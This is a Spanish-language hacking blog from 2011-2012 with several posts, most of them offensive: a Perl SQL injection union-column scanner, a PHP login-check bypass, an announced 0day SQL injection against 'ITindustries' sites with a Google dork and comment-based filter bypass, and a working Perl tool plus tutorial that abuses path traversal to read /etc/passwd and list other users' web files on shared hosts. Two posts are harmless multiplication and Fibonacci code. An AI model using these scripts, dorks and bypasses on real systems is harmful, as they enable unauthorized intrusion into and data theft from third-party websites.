miércoles, 28 de marzo de 2012

SQli Inject Union [Search] PoC

Un metodo mas eficaz encontrar la columna vulnerable con una sola búsqueda...
es un "PoC" de mi propia SQli Scanner espero que les sea de utilidad ^^!

sub sql_scann {
 

      #############################################
      #     SQL union select (Boolean)
      #    
      #     $columns_count = "30";
      #  $end = "+--+";
      #  $un = "/**/";
      #  $num_url = "5";

      print "\n[*] Escaneando Path...\n"; $table_schema;

      $union = $un ."and" . $un . "1=0" . $un . "UniOn" . $un . "SeLect" . $un;

      $i=1; while ($i<=$columns_count)
 {
   if ($i eq 1) {$cont1.= $i} else {$cont1.=',' . $i} $hex = "99999" . $i ."99999";
   if ($i eq 1) {$cont2.="concat(0x62346e7a306b,$hex)";} 
   else {$cont2.=',' . "concat(0x62346e7a306b,$hex)";}
   $path = $url . $num_url . $union . $cont2;
      my $request = $browser->get($path . $end);
      my $content = $request->content;
  
  if ($content =~ m/b4nz0k99999(\d+)99999/)
  {   print "[*] Web Vulnerada en la Columna [$1]\n[*] CoLumna en el Numero [" . $i . "]\n";
      $vulnerado = "Si"; $num_columns = $i;  $inject_columns = $1;
      last;
  } $i++; 
 } # print "$cont1\n";
   }

sábado, 25 de febrero de 2012

Errores de Comprobacion [Bypass] PoC

Bueno gente, hace rato que no publico por falta de tiempo o hueva, pero hoy les tengo un pequeño PoC muy util a lo que son algunos de los errores de comprobación que están en nuestro alcance para cambiar el flujo del programa.

Partimos con un simple login

y tenemos como PoC un simple form


Ingrese sus datos para Iniciar Sesión Nombre de Usuario Contraseña:
Bien, Ahora revisemos algunos detalles del archivo "comprueba.php".

session_start();
if($array["password_usuario"]==md5($pass) ){
/* Comprobamos que el password encriptado en la BD coincide con el password que nos han dado al encriptarlo. Recuerda usar la misma semilla para encriptar los dos passwords. */
$SESSION["login"]=$login;
$SESSION["id"]=$array["id"];
session_register("SESSION");
header("location:formulario.php");
} else {
echo "
Password Incorrecto
"; } ?>

Crea las sessiones y redirecciona al archivo "formulario.php" que lógicamente devera ser al panel de administracion


session_start();
if(!isset($SESSION)){
header("location: admin.html");
} else {
echo "Welcome $user";
}

bien, es un login facilmente de bypassear porque solo nos pide si "X" variable existe



Recuerden, es solo el PoC, con otro tipo de archivos se hacen varias cosas controlando el flujo y accediendo ala función de "X".

Espero les haya servido este peque tuto ^^

Salu2...

domingo, 22 de enero de 2012

Calculadoras para multiplicar

no tenia nada que hacer, encerio, y me puse hacer calculadoras en varios idiomas....

$a = $argv[1];

/* 
 * Ejecucion : 
 * 
 * php calculadora.php 5
 * 
 *  */
$a = $argv[1];
for ($i=1; $i<=10; $i++)
{
 echo $a," x ", $i, " = ", $a*$i, "\n";
}


//      JavaScript     

var a,b=1;
a = prompt('Numero??','');
while (b <= 10) {
 document.write(a+' x '+b+' = '+ a*b+'
');
 b++;
}


#!/usr/bib/perl
$a = $ARGV[0] ;

for ($b=1; $b<=10; $b++)  {

 print "$b x $a\t=\t",$b*$a,"\n";

}

#!/usr/bin/python
import sys
b = sys.argv[1]

for a in range(1,11):

 print a," x ",b," = ",(int(a) * int(b))
 

#include 
#include 
main()
{
int a,b;
printf("Dame la tabla: ");
scanf("%d", &a);
for (b=1; b<=10; b++)
 {
  printf("%i x %i = %d\n",a,b,a*b);
 }
}

sábado, 7 de enero de 2012

[Webapps] - ITindustries [SQLi inject Vulnerability] [Bypassing]

hace rato que no posteo un 0day así que decidí compartir el ultimo que saque porque ando
feliz!! :DDD!!!


 ; Distribuidor : ITindustries

; Path: id=x/*![explotación-bypass]*/

;Dork: intext:"by ITindustries.com" inurl:"id=*"

; Author: b4nz0k



; Nota: Este 0day fue necesario un pequeño bypass



Al parecer nos bota con una injeccion comun "&&", y lo bypasseamos con /*!*/



No se guíen por las t00ls.

Salu2...

jueves, 15 de diciembre de 2011

[ Programacion ] Sucesión de Fibonacci (Simple)

No es tan complicado :P




/* No se porque se complican tanto en la sucesión de Fibonacci xD */
 
print "\n### - Sucesión de Fibonacci! -- ###\n\n";
$a=1;
$b=1;
while ($a<=100)
    {
    print $a . ", " .  $b . ", ";
    $a = $a + $b;
    $b = $a + $b;
    }
print "\n\n### --- --- --- --- --- --- --- ### \n\n"; 





Lo publique porque vi muchos Codes con esta funcion muy extendidos y esto es para que no se compliquen mucho xD

miércoles, 14 de diciembre de 2011

[Bypass] Users to Host perl v1.2


La vez anterior publique algo de bypass en los usuarios de algun servidor y para facilitarnos las cosas me hice una t00l en perl que nos ahorrara mucho tiempo, para hacer una búsqueda y saber donde tenemos permisos.

Creo que es la primera t00l de su tipo,pero no estoy seguro, ya que no e visto alguna para esta función y pues se me ocurrió hacerla.


Aquí una Muestra de el funcionamiento de la herramienta


./script.pl [Web] [Directorio_web] [Archivo_a_buscar]

[Directorio_web] Es La Url de el Disclosure

[Directorio_web] Es El directorio de la web que se va a buscar, este puede ser "www", "htdocs", "public_html", etc...

[Archivo a Buscar]
Es Opcional, asi que no es necesario agregarlo a menos que desees hacer una busqueda mas personalizada



Vemos que nos Devuelve los usuarios junto a los paths de los usuarios vulnerables

Ya después dependerá de vosotros para hacer lo que sigue...



use HTTP::Request;
use LWP::UserAgent;

my $browser = LWP::UserAgent->new();
      
sub banner { 
 print "
 
   _                 _        _       
  |_  \/|_)|_| _  _  o __ (_|   |_|/ \ _ _|_
  |_) / |    |_> _>  | | |__|   | |\_/_>  |_
 
   C o d e d  by  b 4 n z 0 k
 
 * Modo de Uso :
 * perl script.pl [Web] [Carpeta_web] [path_destino(Opcional)]\n
 *\tperl script.pl www.web.com/archivo.php?disclosure= htdocs
 ";
 
 }

 $url = $ARGV[0]; # print  "$vuln\n";
 
  unless ($url) { &banner; }

 $home = $ARGV[1]; # print  "$home\n";
 $dr = "home/"; #Esta Parte La deves de cambiar Manualmente dependiendo la informacion de "/etc/passwd"
 $pt = "../../../../";
 #$pt = "....//....//....//....//....//....//....//....//....//";
 $bp = "";
 @usuarios;
 @vulnerados;
 $archivo = $ARGV[2];
 
 unless ($ARGV[2]) {
  
   $archivo1 = "/index.php";
   $archivo2 = "/index.html";
  }

  
  $url  = "http://" . $url if $url !~ m/^http\:\/\//;
  if ($url =~ m/^http\:\/\/([a-zA-Z0-9-.]+)\/(.*)/) 
  {   $host = $1; $path0 = $2; }

 $path = $url . $path.  $pt . $pt . $pt . "etc/passwd" . $bp;
  print "$path\n";
 my $request = $browser->get($path);
 my $content = $request->content;
      
#print "$content\n";
if ($content =~ m/(.*):x:(.*):(.*):(.*):\/bin/g) {
while ($content =~ m/(.*):x:(.*):(.*):(.*):\/bin/g ) 
{ #print $1 . "\n"; 
 push (@usuarios,$1); # Esto tambien puede cambiar el $1
} } else { print "\n[*] Error En la Injeccion.\n\n"; exit; }
&banner;
print "\n\n[*] # Ju4ck34ndo [ Server * $host ] d3sd3 d3ntr0 #\t[*]\n\n";
 
foreach $n (@usuarios) {

 $path2 = $url .  $pt . $pt . $pt . $bp . $pt . $pt . $pt . $dr . $n . "/" . $home;
# print "$path2\n";
unless ($ARGV[2]) {

  $path_g=$path2 . "/index.php";
  &requestt($path_g);
  
  $path_g=$path2 . "/index.html";
  &requestt;
  
  }
 if ($ARGV[2]) {
 $path_g = $path2 . $archivo;
 &requestt($path_g); }
}
sub requestt {
 
  my $request2 = $browser->get($path_g);
  my $content2 = $request2->content;
  
 #  print "$content2\n"; m/failed to open stream/
   if ($content2 =~ m/\$(.*)/) 
    {
     print "[#- pl0p -#]\t\ŧ# - [ $n ] - #\n";
     push (@vulnerados,$path_g);
    }
   #   else { print "# 3Rr0r # [$n]\t$path_g\n"; }
 }
print "\n\n\t[ # - Webs Con Bypass de Permisos - # ]\n\n";
foreach $n (@vulnerados)
{
 print "[*] $n\n\n";
 }

lunes, 28 de noviembre de 2011

Sin Permisos? lol [ Atacando desde Dentro ]

Hola!! un saludo a todos, hace rato que no publico y quise hacerlo por primera vez en mucho tiempo, espero y les guste.



Cuando Tenemos algún Disclosure lo primero que hacemos es visualizar el archivo /etc/passwd




Y por lo tanto visualizaremos los demás archivos de la web que usualmente serian los archivos de configuracion

Haremos algo mas que solo visualizar esos archivos...

Supongamos que el Servidor Tiene sus paginas de este modo

www.web1.com  >>  Aquí esta el Disclosure
www.web2.com
www.web3.com >> Aquí Trataremos de entrar (www.web3.com no es vulnerable por si sola)
www.web4.com 
www.web5.com


/etc/passwd

web1:x:30073:30036::/home/web1:/bin/bash
web2:x:30075:30037::/home/web2:/bin/bash
web3:x:30076:30038::/home/web3:/bin/bash
web4:x:30098:30039::/home/web4:/bin/bash
web5:x:30099:30040::/home/web5:/bin/bash

Si el disclosure esta en /home/web1 tratemos de acceder a otra web del mismo servidor

Vuln=/home/web3/htdocs/index.php



Si el Archivo esta vacío como en mi caso, no te decepciones intenta con directorios default como:
"www","htdocs","public_html","web",etc...

Vuln=/home/web3/www/index.php





Listo!! Discourse desde una web interna.

Si no te funciona significa que los permisos están mejor administrados, pero no te desanimes ya que hay muchos servidores con esta vulnerabilidad.


Al parecer tiene instalado WordPrees.
 



Listo!!, creo que con esto ya queda mas claro ^^.


Desde Una Shell Update

Desde un archivo en el servidor ya es mas fácil hacer todo el trabajo que estamos haciendo desde un disclosure.

Normalmente siempre revisamos los dominios y permisos que tenemos desde la misma web y cuando comúnmente nos encontramos con esto damos por perdidos los permisos de los demás dominios.


Ahora aplicamos lo anterior modificando una variable GET


Listo!!, espero les haya gustado este peque tuto ^^


Sin Permisos?? lol